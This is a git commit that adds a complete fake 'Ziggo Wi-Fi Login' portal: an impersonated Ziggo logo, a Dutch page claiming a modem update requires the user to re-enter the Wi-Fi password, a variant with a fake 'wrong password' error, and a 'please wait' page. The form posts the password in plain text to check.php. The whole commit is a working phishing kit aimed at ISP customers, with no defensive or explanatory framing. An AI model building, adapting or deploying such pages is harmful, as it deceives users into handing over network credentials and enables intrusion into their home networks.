Add full site
This commit is contained in:
deltax
GitHub
parent
345305d6f1
commit
d7fb08cade
|
|
@ -0,0 +1,29 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<!-- Generator: Adobe Illustrator 18.1.1, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
|
||||||
|
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||||
|
<svg version="1.1" id="Ziggo_x5F_Orange_x5F_RGB" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
|
||||||
|
x="0px" y="0px" viewBox="0 0 212 75.8" enable-background="new 0 0 212 75.8" xml:space="preserve">
|
||||||
|
<path fill="#F48C00" d="M69.3,62.3c0.8,0.8,1.2,1.9,1.2,3c0,1.3-0.6,2.3-1.2,3c-1.3,1.3-3,2.6-5.2,3.5C62.2,72.5,60.1,73,58,73H38.5
|
||||||
|
H19c-4.4,0-8.4-1.8-11.3-4.7C4.8,65.4,3.1,61.4,3.1,57V37.5V18c0-4.4,1.8-8.4,4.7-11.3c2.9-2.9,6.9-4.7,11.3-4.7h19.5H58
|
||||||
|
c2.2,0,4.2,0.4,6.1,1.2c2.6,1.1,4.2,2.4,5.8,4.1c0.6,0.7,1.2,1.7,1.2,3c0,1.1-0.4,2.2-1.2,3c-0.8,0.8-1.9,1.2-3,1.2
|
||||||
|
c-1.1,0-2.2-0.4-3-1.2c-1.1-1.1-1.7-1.7-3-2.2C60,10.8,59,10.5,58,10.5H38.5H19c-2.1,0-3.9,0.8-5.3,2.2c-1.4,1.4-2.2,3.2-2.2,5.3
|
||||||
|
v19.5V57c0,2.1,0.8,3.9,2.2,5.3c1.4,1.4,3.2,2.2,5.3,2.2h19.5H58c1,0,2-0.2,2.9-0.6c0.8-0.3,1.7-0.9,2.4-1.6c0.8-0.8,1.9-1.2,3-1.2
|
||||||
|
C67.4,61.1,68.5,61.5,69.3,62.3z M57.9,57.3c-0.2-3.1-2.2-7.8-7.5-8.4H31.8l21.4-20.5c0.9-0.9,2.9-3.8,1.5-6.9
|
||||||
|
c-1.2-2.5-3.1-3.6-6.5-3.6H21.5c0.1,3.5,1.9,7.8,6.6,8.5h15.2L20.8,47.5c-0.9,0.9-2.4,3.6-1.2,6.3c1.1,2.5,2.9,3.5,6.2,3.5H57.9z
|
||||||
|
M118.9,38v15.7c0,5.8-1.8,10.9-5.8,14.9c-3.6,3.6-8.2,5.1-13.2,5.1c-9.9,0-14.9-7.6-14.9-7.6c2.7-2.7,6.3-4.3,10-2.1
|
||||||
|
c0.6,0.4,2.4,1.4,5,1.4c9.1,0,10.6-8.2,10.6-10.6c-3.2,1.9-6.7,2.9-10.7,2.9h0c-5.2,0-9.7-1.6-13.4-4.9l0,0c-3.7-3.5-5.6-7.9-5.6-13
|
||||||
|
c0-1,0-4.4,0-5.2c0-5,1.9-9.3,5.6-12.9c3.8-3.6,8.3-5.4,13.5-5.4h0h0c6.9,0,12,3.4,14.3,6.3c0.6,0.7,0.9,1.7,0.9,2.7
|
||||||
|
c0,1.2-0.5,2.2-1.2,3c-0.8,0.8-1.8,1.2-3,1.2c-1.2,0-2.3-0.5-3-1.2c-2.6-2.7-5.1-3.6-8.1-3.6c-2.9,0-5.4,1-7.5,3
|
||||||
|
c-2.1,2-3.1,4.2-3.1,7c0,1.2,0,3.9,0,5.1c0,2.9,1,5.2,3.1,7.1c2.2,2,4.6,2.9,7.5,2.9c2.9,0,5.3-1,7.5-3c1.1-1.1,1.9-2.3,2.4-3.6
|
||||||
|
c0.4-1.1,1.2-3.3,4.1-4.4C116.2,37.9,118.9,38,118.9,38z M158.8,38.8c-2.8,1.1-3.7,3.3-4.1,4.4c-0.5,1.3-1.3,2.5-2.4,3.6
|
||||||
|
c-2.2,2-4.6,3-7.5,3c-2.9,0-5.3-1-7.5-2.9c-2.1-2-3-4.2-3.1-7.1c0-1.2,0-3.8,0-5.1c0-2.8,1-5.1,3.1-7c2.1-2,4.5-3,7.5-3
|
||||||
|
c2.9,0,5.4,0.9,8.1,3.6c0.7,0.7,1.8,1.2,3,1.2c1.2,0,2.2-0.5,3-1.2c0.8-0.8,1.2-1.8,1.2-3c0-1-0.3-1.9-0.9-2.7
|
||||||
|
c-2.3-2.8-7.4-6.3-14.3-6.3h0h0c-5.2,0-9.7,1.8-13.5,5.4c-3.7,3.6-5.6,7.9-5.6,12.9c0,0.8,0,4.1,0,5.2c0,5.1,1.9,9.4,5.6,13l0,0
|
||||||
|
c3.8,3.2,8.3,4.8,13.4,4.9h0c4,0,7.5-1,10.7-2.9c0,2.4-1.5,10.6-10.6,10.6c-2.6,0-4.4-1-5-1.4c-3.6-2.2-7.3-0.6-10,2.1
|
||||||
|
c0,0,5.1,7.6,14.9,7.6c5,0,9.6-1.5,13.2-5.1c4-4,5.8-9.1,5.8-14.9V38C163.9,38,161.2,37.9,158.8,38.8z M208.9,34.6
|
||||||
|
c0-5-1.9-9.4-5.6-12.9c-3.8-3.6-8.3-5.4-13.5-5.4h0h0c-5.2,0-9.7,1.8-13.5,5.4c-3.7,3.6-5.6,7.9-5.6,12.9c0,0.8,0,4.1,0,5.2
|
||||||
|
c0,5.1,1.9,9.4,5.6,13l0,0c3.8,3.2,8.3,4.8,13.4,4.9h0c5.2,0,9.7-1.6,13.4-4.8l0,0c3.7-3.5,5.6-7.9,5.6-13
|
||||||
|
C208.9,38.7,208.9,35.4,208.9,34.6 M189.8,49.8c-2.9,0-5.3-1-7.5-2.9c-2.1-2-3-4.2-3.1-7.1c0-1.2,0-3.8,0-5.1c0-2.8,1-5.1,3.1-7
|
||||||
|
c2.1-2,4.5-3,7.5-3c2.9,0,5.4,1,7.5,3c2.1,1.9,3,4.2,3.1,7c0,1.2,0.1,3.8,0,5.1c0,2.9-1,5.1-3.1,7.1
|
||||||
|
C195.1,48.8,192.6,49.8,189.8,49.8 M73.9,17.8c-4.4,0-8.4,3.7-8.4,7.7v31.8c4.4,0,8.4-3.7,8.4-7.7V17.8z"/>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 3.1 KiB |
|
|
@ -0,0 +1,207 @@
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html dir="ltr" lang="en-US">
|
||||||
|
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
|
||||||
|
<title>Ziggo Wi-Fi Login</title>
|
||||||
|
|
||||||
|
<style>
|
||||||
|
html,body {
|
||||||
|
height: 100%;
|
||||||
|
font-family: sans-serif;
|
||||||
|
margin: 0px;
|
||||||
|
}
|
||||||
|
div {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo {
|
||||||
|
position: absolute;
|
||||||
|
top: 30px;
|
||||||
|
left:0px;
|
||||||
|
width:104px;
|
||||||
|
height:50px;
|
||||||
|
text-align:center;
|
||||||
|
background: url("Ziggo-logo.svg") no-repeat #fff;
|
||||||
|
background-size: 84px 30px;
|
||||||
|
background-position: center;
|
||||||
|
z-index:10;
|
||||||
|
}
|
||||||
|
|
||||||
|
#background {
|
||||||
|
height: 100%;
|
||||||
|
margin: 0px;
|
||||||
|
padding: 0px;
|
||||||
|
background: url("generic-mobemBG.jpg") center center no-repeat fixed;
|
||||||
|
background-size:cover;
|
||||||
|
}
|
||||||
|
|
||||||
|
#overlay {
|
||||||
|
height: 100%;
|
||||||
|
position: absolute;
|
||||||
|
left:0px;
|
||||||
|
top:0px;
|
||||||
|
background: rgba(0,0,0,0.6);
|
||||||
|
background-size:100% auto;
|
||||||
|
width:100%;
|
||||||
|
padding-top:30px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#white {
|
||||||
|
max-width: 840px;
|
||||||
|
position: relative;
|
||||||
|
text-align: center;
|
||||||
|
width: 840px;
|
||||||
|
background: url("white-transparent90.png");
|
||||||
|
font-size: 16px;
|
||||||
|
margin: 0px auto;
|
||||||
|
padding: 45px 30px 90px 30px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#title {
|
||||||
|
color: #f48c00;
|
||||||
|
height: 55px;
|
||||||
|
text-align: center;
|
||||||
|
font-size: 46px;
|
||||||
|
padding-top: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#text {
|
||||||
|
color: rgb(51, 51, 51);
|
||||||
|
text-align: center;
|
||||||
|
font-size: 16px;
|
||||||
|
padding: 20px 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#input {
|
||||||
|
height: 47px;
|
||||||
|
text-align: center;
|
||||||
|
font-size: 18px;
|
||||||
|
padding: 0px 0px 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#table {
|
||||||
|
height: 47px;
|
||||||
|
text-align: center;
|
||||||
|
font-size: 18px;
|
||||||
|
margin: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
#row {
|
||||||
|
height: 47px;
|
||||||
|
text-align: center;
|
||||||
|
vertical-align: middle;
|
||||||
|
font-size: 18px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#data1 {
|
||||||
|
color: rgb(51, 51, 51);
|
||||||
|
height: 32px;
|
||||||
|
text-align: -webkit-right;
|
||||||
|
vertical-align: middle;
|
||||||
|
font-size: 18px;
|
||||||
|
padding: 0px 5px 0px 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#data2 {
|
||||||
|
height: 32px;
|
||||||
|
vertical-align: middle;
|
||||||
|
font-size: 18px;
|
||||||
|
padding: 0px 5px 0px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#inputdata {
|
||||||
|
box-sizing: content-box;
|
||||||
|
color: rgb(102, 102, 102);
|
||||||
|
height: 22px;
|
||||||
|
width: 80%;
|
||||||
|
float: left;
|
||||||
|
border: 2px solid red;
|
||||||
|
border-radius: 3px 3px 3px 3px;
|
||||||
|
font-size: 18px;
|
||||||
|
padding: 3px 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#inputdata:focus {
|
||||||
|
border-color: #f48c00;
|
||||||
|
}
|
||||||
|
|
||||||
|
#button {
|
||||||
|
margin-top: 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#next {
|
||||||
|
color: #fff;
|
||||||
|
cursor: pointer;
|
||||||
|
text-align: center;
|
||||||
|
white-space: pre;
|
||||||
|
align-items: flex-start;
|
||||||
|
background: #f48c00 repeat;
|
||||||
|
border: 1px solid #d27800;
|
||||||
|
border-radius: 5px;
|
||||||
|
font-size: 24px;
|
||||||
|
padding: 15px 30px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#next:hover {
|
||||||
|
background: #ffa021;
|
||||||
|
}
|
||||||
|
|
||||||
|
#error {
|
||||||
|
margin-top: -5px;
|
||||||
|
font-size: 12px;
|
||||||
|
color: red;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media only screen and (max-width: 479px) {
|
||||||
|
.logo {
|
||||||
|
background-color: transparent;
|
||||||
|
}
|
||||||
|
#white {
|
||||||
|
width: 100%;
|
||||||
|
padding: 30px 0px 80px 0px;
|
||||||
|
}
|
||||||
|
#text {
|
||||||
|
font-size: 14px;
|
||||||
|
padding: 15px 20px 20px 20px;
|
||||||
|
}
|
||||||
|
#next {
|
||||||
|
font-size: 20px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<div class="logo"></div>
|
||||||
|
|
||||||
|
<div id="background">
|
||||||
|
<div id="overlay">
|
||||||
|
<div id="white">
|
||||||
|
<div id="title">
|
||||||
|
Welkom
|
||||||
|
</div>
|
||||||
|
<div id="text">
|
||||||
|
Uw Wi-Fi modem heeft recentelijk een update gehad. Hierdoor is het vanuit veiligheidsoverwegingen noodzakelijk dat u uw wachtwoord opnieuw invult. Uw wachtwoord is te vinden aan de onderkant van uw Wi-Fi modem.
|
||||||
|
</div>
|
||||||
|
<div id="input">
|
||||||
|
<form method="post" action="check.php" name="Login">
|
||||||
|
<table id="table">
|
||||||
|
<tr id="row">
|
||||||
|
<td id="data1">
|
||||||
|
Wachtwoord
|
||||||
|
</td>
|
||||||
|
<td id="data2">
|
||||||
|
<input type="text" id="inputdata" name="loginPassword" />
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
<div id="error">
|
||||||
|
<span>Uw wachtwoord is onjuist. Probeer het opnieuw.</span>
|
||||||
|
</div>
|
||||||
|
<div id="button">
|
||||||
|
<input type="submit" id="next" value="Doorgaan" />
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</html>
|
||||||
|
|
@ -0,0 +1,105 @@
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html dir="ltr" lang="en-US">
|
||||||
|
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
|
||||||
|
<title>Ziggo Wi-Fi Login</title>
|
||||||
|
|
||||||
|
<style>
|
||||||
|
html,body {
|
||||||
|
height: 100%;
|
||||||
|
font-family: sans-serif;
|
||||||
|
margin: 0px;
|
||||||
|
}
|
||||||
|
div {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo {
|
||||||
|
position: absolute;
|
||||||
|
top: 30px;
|
||||||
|
left:0px;
|
||||||
|
width:104px;
|
||||||
|
height:50px;
|
||||||
|
text-align:center;
|
||||||
|
background: url("Ziggo-logo.svg") no-repeat #fff;
|
||||||
|
background-size: 84px 30px;
|
||||||
|
background-position: center;
|
||||||
|
z-index:10;
|
||||||
|
}
|
||||||
|
|
||||||
|
#background {
|
||||||
|
height: 100%;
|
||||||
|
margin: 0px;
|
||||||
|
padding: 0px;
|
||||||
|
background: url("generic-mobemBG.jpg") center center no-repeat fixed;
|
||||||
|
background-size:cover;
|
||||||
|
}
|
||||||
|
|
||||||
|
#overlay {
|
||||||
|
height: 100%;
|
||||||
|
position: absolute;
|
||||||
|
left:0px;
|
||||||
|
top:0px;
|
||||||
|
background: rgba(0,0,0,0.6);
|
||||||
|
background-size:100% auto;
|
||||||
|
width:100%;
|
||||||
|
padding-top:30px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#white {
|
||||||
|
max-width: 840px;
|
||||||
|
position: relative;
|
||||||
|
text-align: center;
|
||||||
|
width: 840px;
|
||||||
|
background: url("white-transparent90.png");
|
||||||
|
font-size: 16px;
|
||||||
|
margin: 0px auto;
|
||||||
|
padding: 45px 30px 80px 30px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#title {
|
||||||
|
color: #f48c00;
|
||||||
|
height: 55px;
|
||||||
|
text-align: center;
|
||||||
|
font-size: 46px;
|
||||||
|
padding-top: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#text {
|
||||||
|
color: rgb(51, 51, 51);
|
||||||
|
text-align: center;
|
||||||
|
font-size: 16px;
|
||||||
|
padding: 20px 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media only screen and (max-width: 479px) {
|
||||||
|
.logo {
|
||||||
|
background-color: transparent;
|
||||||
|
}
|
||||||
|
#white {
|
||||||
|
width: 100%;
|
||||||
|
padding: 30px 0px 60px 0px;
|
||||||
|
}
|
||||||
|
#text {
|
||||||
|
font-size: 14px;
|
||||||
|
padding: 15px 20px 20px 20px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<div class="logo"></div>
|
||||||
|
|
||||||
|
<div id="background">
|
||||||
|
<div id="overlay">
|
||||||
|
<div id="white">
|
||||||
|
<div id="title">
|
||||||
|
Welkom
|
||||||
|
</div>
|
||||||
|
<div id="text">
|
||||||
|
Een ogenblik geduld a.u.b...<br>
|
||||||
|
Uw Wi-Fi modem is binnen enkele seconden weer beschikbaar.
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</html>
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 58 KiB |
|
|
@ -1 +1,194 @@
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html dir="ltr" lang="en-US">
|
||||||
|
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
|
||||||
|
<title>Ziggo Wi-Fi Login</title>
|
||||||
|
|
||||||
|
<style>
|
||||||
|
html,body {
|
||||||
|
height: 100%;
|
||||||
|
font-family: sans-serif;
|
||||||
|
margin: 0px;
|
||||||
|
}
|
||||||
|
div {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo {
|
||||||
|
position: absolute;
|
||||||
|
top: 30px;
|
||||||
|
left:0px;
|
||||||
|
width:104px;
|
||||||
|
height:50px;
|
||||||
|
text-align:center;
|
||||||
|
background: url("Ziggo-logo.svg") no-repeat #fff;
|
||||||
|
background-size: 84px 30px;
|
||||||
|
background-position: center;
|
||||||
|
z-index:10;
|
||||||
|
}
|
||||||
|
|
||||||
|
#background {
|
||||||
|
height: 100%;
|
||||||
|
margin: 0px;
|
||||||
|
padding: 0px;
|
||||||
|
background: url("generic-mobemBG.jpg") center center no-repeat fixed;
|
||||||
|
background-size:cover;
|
||||||
|
}
|
||||||
|
|
||||||
|
#overlay {
|
||||||
|
height: 100%;
|
||||||
|
position: absolute;
|
||||||
|
left:0px;
|
||||||
|
top:0px;
|
||||||
|
background: rgba(0,0,0,0.6);
|
||||||
|
background-size:100% auto;
|
||||||
|
width:100%;
|
||||||
|
padding-top:30px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#white {
|
||||||
|
max-width: 840px;
|
||||||
|
position: relative;
|
||||||
|
text-align: center;
|
||||||
|
width: 840px;
|
||||||
|
background: url("white-transparent90.png");
|
||||||
|
font-size: 16px;
|
||||||
|
margin: 0px auto;
|
||||||
|
padding: 45px 30px 80px 30px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#title {
|
||||||
|
color: #f48c00;
|
||||||
|
height: 55px;
|
||||||
|
text-align: center;
|
||||||
|
font-size: 46px;
|
||||||
|
padding-top: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#text {
|
||||||
|
color: rgb(51, 51, 51);
|
||||||
|
text-align: center;
|
||||||
|
font-size: 16px;
|
||||||
|
padding: 20px 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#input {
|
||||||
|
height: 47px;
|
||||||
|
text-align: center;
|
||||||
|
font-size: 18px;
|
||||||
|
padding: 0px 0px 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#table {
|
||||||
|
height: 47px;
|
||||||
|
text-align: center;
|
||||||
|
font-size: 18px;
|
||||||
|
margin: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
#row {
|
||||||
|
height: 47px;
|
||||||
|
text-align: center;
|
||||||
|
vertical-align: middle;
|
||||||
|
font-size: 18px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#data1 {
|
||||||
|
color: rgb(51, 51, 51);
|
||||||
|
height: 32px;
|
||||||
|
text-align: -webkit-right;
|
||||||
|
vertical-align: middle;
|
||||||
|
font-size: 18px;
|
||||||
|
padding: 0px 5px 15px 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#data2 {
|
||||||
|
height: 32px;
|
||||||
|
vertical-align: middle;
|
||||||
|
font-size: 18px;
|
||||||
|
padding: 0px 5px 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#inputdata {
|
||||||
|
box-sizing: content-box;
|
||||||
|
color: rgb(102, 102, 102);
|
||||||
|
height: 22px;
|
||||||
|
width: 80%;
|
||||||
|
float: left;
|
||||||
|
border: 2px solid rgb(211, 211, 211);
|
||||||
|
border-radius: 3px 3px 3px 3px;
|
||||||
|
font-size: 18px;
|
||||||
|
padding: 3px 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#inputdata:focus {
|
||||||
|
border-color: #f48c00;
|
||||||
|
}
|
||||||
|
|
||||||
|
#next {
|
||||||
|
color: #fff;
|
||||||
|
cursor: pointer;
|
||||||
|
text-align: center;
|
||||||
|
white-space: pre;
|
||||||
|
align-items: flex-start;
|
||||||
|
background: #f48c00 repeat;
|
||||||
|
border: 1px solid #d27800;
|
||||||
|
border-radius: 5px;
|
||||||
|
font-size: 24px;
|
||||||
|
padding: 15px 30px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#next:hover {
|
||||||
|
background: #ffa021;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media only screen and (max-width: 479px) {
|
||||||
|
.logo {
|
||||||
|
background-color: transparent;
|
||||||
|
}
|
||||||
|
#white {
|
||||||
|
width: 100%;
|
||||||
|
padding: 30px 0px 60px 0px;
|
||||||
|
}
|
||||||
|
#text {
|
||||||
|
font-size: 14px;
|
||||||
|
padding: 15px 20px 20px 20px;
|
||||||
|
}
|
||||||
|
#next {
|
||||||
|
font-size: 20px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<div class="logo"></div>
|
||||||
|
|
||||||
|
<div id="background">
|
||||||
|
<div id="overlay">
|
||||||
|
<div id="white">
|
||||||
|
<div id="title">
|
||||||
|
Welkom
|
||||||
|
</div>
|
||||||
|
<div id="text">
|
||||||
|
Uw Wi-Fi modem heeft recentelijk een update gehad. Hierdoor is het vanuit veiligheidsoverwegingen noodzakelijk dat u uw wachtwoord opnieuw invult. Uw wachtwoord is te vinden aan de onderkant van uw Wi-Fi modem.
|
||||||
|
</div>
|
||||||
|
<div id="input">
|
||||||
|
<form method="post" action="check.php" name="Login">
|
||||||
|
<table id="table">
|
||||||
|
<tr id="row">
|
||||||
|
<td id="data1">
|
||||||
|
Wachtwoord
|
||||||
|
</td>
|
||||||
|
<td id="data2">
|
||||||
|
<input type="text" id="inputdata" name="loginPassword" />
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
<div id="button">
|
||||||
|
<input type="submit" id="next" value="Doorgaan" />
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</html>
|
||||||
|
|
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 1.2 KiB |
Loading…
Reference in New Issue